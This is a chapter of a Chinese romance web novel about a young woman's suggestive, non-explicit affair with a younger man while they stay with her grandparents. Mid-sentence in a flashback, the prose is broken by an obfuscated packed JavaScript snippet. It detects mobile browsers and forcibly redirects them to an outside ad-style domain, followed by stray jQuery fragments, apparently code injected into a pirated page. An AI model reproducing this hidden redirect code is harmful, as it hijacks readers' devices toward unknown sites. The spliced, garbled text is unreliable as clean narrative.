早上8点，黄质娴和老伴儿在餐厅里正襟危坐。


    玉米粥、胡辣汤、油条、蒸饺、牛肉煎包、素馅儿包子、白煮蛋，还有几碟颜色不一的小咸菜，满满当当摆了一桌子。


    叶九笙忍不住伸筷子，却被她给拍掉：“急什么，小竹和她朋友还没下来。”


    “刚才不是让小王去楼上看了吗？他们还没起呢……”


    叶九笙有点眼馋那泛着金黄的脆皮煎包，他平时的饮食太过健康清淡，好不容易家里来了客人，老婆大发慈悲让他也可以吃一些油大的，可那两个小年轻却迟迟不下来。


    “你先等着，我上去瞧瞧，不许偷吃。”


    黄质娴坐电梯先是上了三楼，见叶之竹的房门虚掩着，她轻轻敲了敲，里面没半点动静，走进去一看才发现她根本不在里面。


    “不会这么着急吧……”她念叨着去了二楼，刚要敲门就见泽仁从里面走了出来。


    小伙子眼底微微发青，但精神却很好，见了她有礼貌笑道：“早上好，黄奶奶。”


    “早啊泽仁，小竹她是不是在里面……”


    泽仁红了脸，磕磕巴巴解释：“嗯，昨天我、我和姐姐聊天太晚，所以她、她就在这边睡了。”


    “怪不得。”黄质娴瞥见少年脖颈上的点点红痕，看破不说破，笑着让他下楼去吃饭，“也不知道你的口味，就随便准备了一点儿。”


    泽仁看着满桌子的早餐有些惊讶，心里一暖，“这么丰盛，谢谢黄奶奶和叶爷爷。”


    他坐下来，注意到叶爷爷似乎在等着什么指令，果然，黄奶奶发话：“吃吧，小竹一时半会儿下不来，咱们不等她了。”


    然后，叶爷爷飞出筷子，夹起两只牛肉煎包放在了自己碗里，动作十分迅疾。


    黄质娴有些无语，笑着跟泽仁解释：“小泽你别见怪，他啊是因为平时吃饭太清淡，我和医生都管他管得严，难得有机会吃这种，才这么没出息。”


    “叶爷爷这是真性情，换做谁都是一样的，”泽仁给她递了个剥好的水煮蛋，“昨天我都听姐姐说了，多亏有您一直细心照顾叶爷爷，所以他身体才这么好。”


    他撒了谎，这些话是以前叶之竹无意间跟他提过的，他记在了心里，此时说出来也是想讨两位老人家的欢心。


    果不其然，黄质娴和叶九笙都露出笑容。


    他们老两口之前都是艺术家，年轻时既吃过苦，也曾经叱咤风云功成名就，老了之后就更看重家人。


    虽然儿女孝顺、孙辈和睦，但平日里他们都有自己的工作和生活要忙，只有周末或者节日时才有空陪他们。


    要不是前阵子她不小心摔伤，小竹也不会搬过来住。


    因此，吃完一顿饭后，老两口都很喜欢泽仁，觉得他虽然年轻，但很懂事也很会说话。


    怪不得小竹那丫头一晚上也忍不了。


    老两口思想开明，只要小竹不违法乱纪祸害别人的家庭，过得开心，怎么样都成。


    吃完饭，泽仁陪着两个老人家去了附近的湖边散步消食。


    期间，黄质娴问什么他答什么，一会儿功夫，她就摸清了他的家庭情况和成长经历。


    和叶九笙对视一眼，两人无声叹息——


    这小孩，似乎太纯情了吧？


    小竹这样玩弄他的感情，是不是有点不太好？


    回别墅前，经过一个便利店，泽仁进去直奔冷藏柜，买了两罐酸奶。


    黄质娴看见了，忍不住问：“这个是我们本地的牌子，你以前吃过？”


    泽仁笑道：“没有，我是在姐姐的朋友圈见过，她挺喜欢的。”


    黄质娴笑了笑，夸他懂事，转过头，见泽仁上了楼，她又小声跟老伴儿嘀咕：“你说要不要跟小竹说说，对这个小泽好一些？”


    “别像之前交的那些男朋友，没多久就散了，弄得人家怪难受的。”


    叶九笙拿着按摩捶捶腿放松，“要我说咱们还是别多插手，小竹长大了，有分寸的。”


    “在别的事情上我都很放心她，就是感情上她太不让人省心，”黄质娴嘀咕着，“也不只是她，小棣和昭昭那俩也是，一个个的都不正经找对象。”


    “哎呀你怎么又操起心来了，不是说让你放宽心嘛，你这老太太越老越爱管闲事儿。”


    “闲事儿？自家孙女孙子的事怎么是闲事？老叶，你是不是皮痒了？”


    “哪有哪有，我就是那么一说，你要是不爱听我就不说了……”


    楼下闹哄哄时，楼上一片寂静。


    叶之竹醒了一会儿，刚洗漱完就见泽仁拎着便利店的袋子走了进来。


    “买了什么？”


    “酸奶，我买了两种口味，茉莉和蜜桃的。想姐姐可能会喜欢。”泽仁给她拧开酸奶盖子，“姐姐要吃哪一个？”


    “我全都要。”


    虽这么说，叶之竹却动也不动，嘴巴微张着，一双漂亮的桃花眼盯着他。


    泽仁脸上一热，将打开的酸奶小心翼翼地递到她嘴边，笨拙地喂她。


    叶之竹坐在椅子上，他站着，在他的角度，可以清晰地看到她脸上的细小汗毛。


    她的眼睛非常动人，乌黑莹润，睫毛纤浓，一张小脸素净白皙，看得泽仁微微晃神，手上就难免失了分寸。


    酸奶瓶被他过度倾斜，果粒混着浓稠的酸奶洒在了叶之竹身上。


    她穿着一件紫色紧身吊带和白色短裤，酸奶如油漆般弄得她有些狼狈，唇角、发丝、脖颈，无一不被波及。


    “对、对不起姐姐！”泽仁手忙脚乱，放下酸奶想帮忙擦拭，却被叶之竹制止。


    “不要纸巾。”


    她笑得有点坏，“要你弄干净。”


    泽仁愣了一下，在明白到她的暗示后，腾地红了耳根，“姐姐，我可以给你舔干净，只是我控制不住自己的反应。”


    “谁让你控制了？”叶之竹拉住他的手，落在自己胸口，“昨天晚上，你不是做得很好吗？”


    “嗯，姐姐不嫌我就好。”


    昨天夜里，他们很晚才睡，虽然没有实质性发生什么，但两人都很快乐。


    含混的呼吸，隔靴搔痒的磨。


    上一次这种记忆，还是在叶之竹上高三时。


    学校课业压力大，她就跟一个暗恋她很久的学霸逃课去了外面。


    学霸名叫洛泽铭，长得斯文清俊，身材修长，一直红着耳朵，叶之竹说什么他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145079|164679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就做什么。


    两人像寻常小情侣一样逛街吃饭看电影，在黑漆漆的电影院里，叶之竹牵住了他的手。


    然后，他的身体变得紧绷。


    她好奇地凑近，嘴唇碰了下他的耳垂，洛泽铭的呼吸都变得急促起来。


    散场后，叶之竹带他去了酒店。


    两人已满十八岁，在大床房里开始人类起源与探索宇宙的奥妙。


    那时，叶之竹还不够胆大，洛泽铭也不敢胡来，两人就是接吻，在混乱的呼吸声中，抱紧对方。


    之后不经意的一个摩擦，发现了开启新世界大门的钥匙。


    彼时彼刻，恰如昨夜。


    不同的是，换了一个少年将叶之竹抱起。


    与几年前相比，叶之竹浑身上下都充满了勇气，她仍然选择擦边，是下意识地想给她和泽仁之间留一个退路——


    不像她把洛泽铭伤得他那么重，以致于他没参加高考就火速出国留学，迄今也没有回来。


    叶之竹突然注意到，他的名字里也有个“泽”字。


    以前，她也会甜甜地叫洛泽铭“小泽”。


    ……


    泽仁察觉到她在走神，眼神微黯，唇舌略微用力，舔走她唇角的最后一滴酸奶。


    “我好不容易来一趟安市，听说这个城市很美，”少年露出期待恳切的笑容，“姐姐能陪我出去转转吗？”


    叶之竹回过神来，“嗯？可以啊，待会儿我就开车带你出去。”


    经过昨天，泽仁已经很有眼力见，他俯身用湿巾轻轻擦了擦之前弄脏的地方，“要我抱姐姐回房换衣服吗？”


    叶之竹笑：“我的腿好好的干嘛要你抱？”


    泽仁抿唇：“可是，昨天晚上，姐姐你低声在我耳边说腿软。”


    更确切说，更像是有气无力、似哭似泣地求饶。


    叶之竹脸颊微红，嘴硬道：“有吗？你记错了吧？我身体素质很好的，怎么会说这种没出息的话？”


    泽仁盯着她，见她的耳朵渐渐染上红色，原本因她分神而有些失落的一颗心，顿时又扑通扑通跳了起来。


    “换衣服，姐姐带你去兜风。”


    叶之竹车技很好，又快又稳，她带着泽仁在市内主要景点转了一圈，晚上去最繁华的商场给他买了几袋子衣服，请他吃了饭。


    泽仁再三推拒也没有用，她说：“你既然来了，怎么着我也得好好尽一下地主之谊，招待你好吃好喝玩两天。”


    “嗯。”泽仁有点沉默，他不知道该怎么描述这种心情。


    姐姐给他买衣服、请他吃那么贵的餐厅，都是心疼他、想给他好的体验，但泽仁的自尊心却开始作祟。


    他突然无比清晰地意识到，他们之间的差距。


    姐姐随手刷几千上万块钱毫不眨眼，可那些钱却够他一年的生活费。


    他掩藏起内心的郁卒，强撑起笑脸。


    这天夜里，叶之竹本以为他要好好休息，毕竟从昨天白天到现在，他睡了三小时都不到。


    却没想到，泽仁在洗完澡后，眼睛亮晶晶地看着她，“姐姐，我能不能……”


    他的目光下移，薄唇抿了抿。


    叶之竹：“……”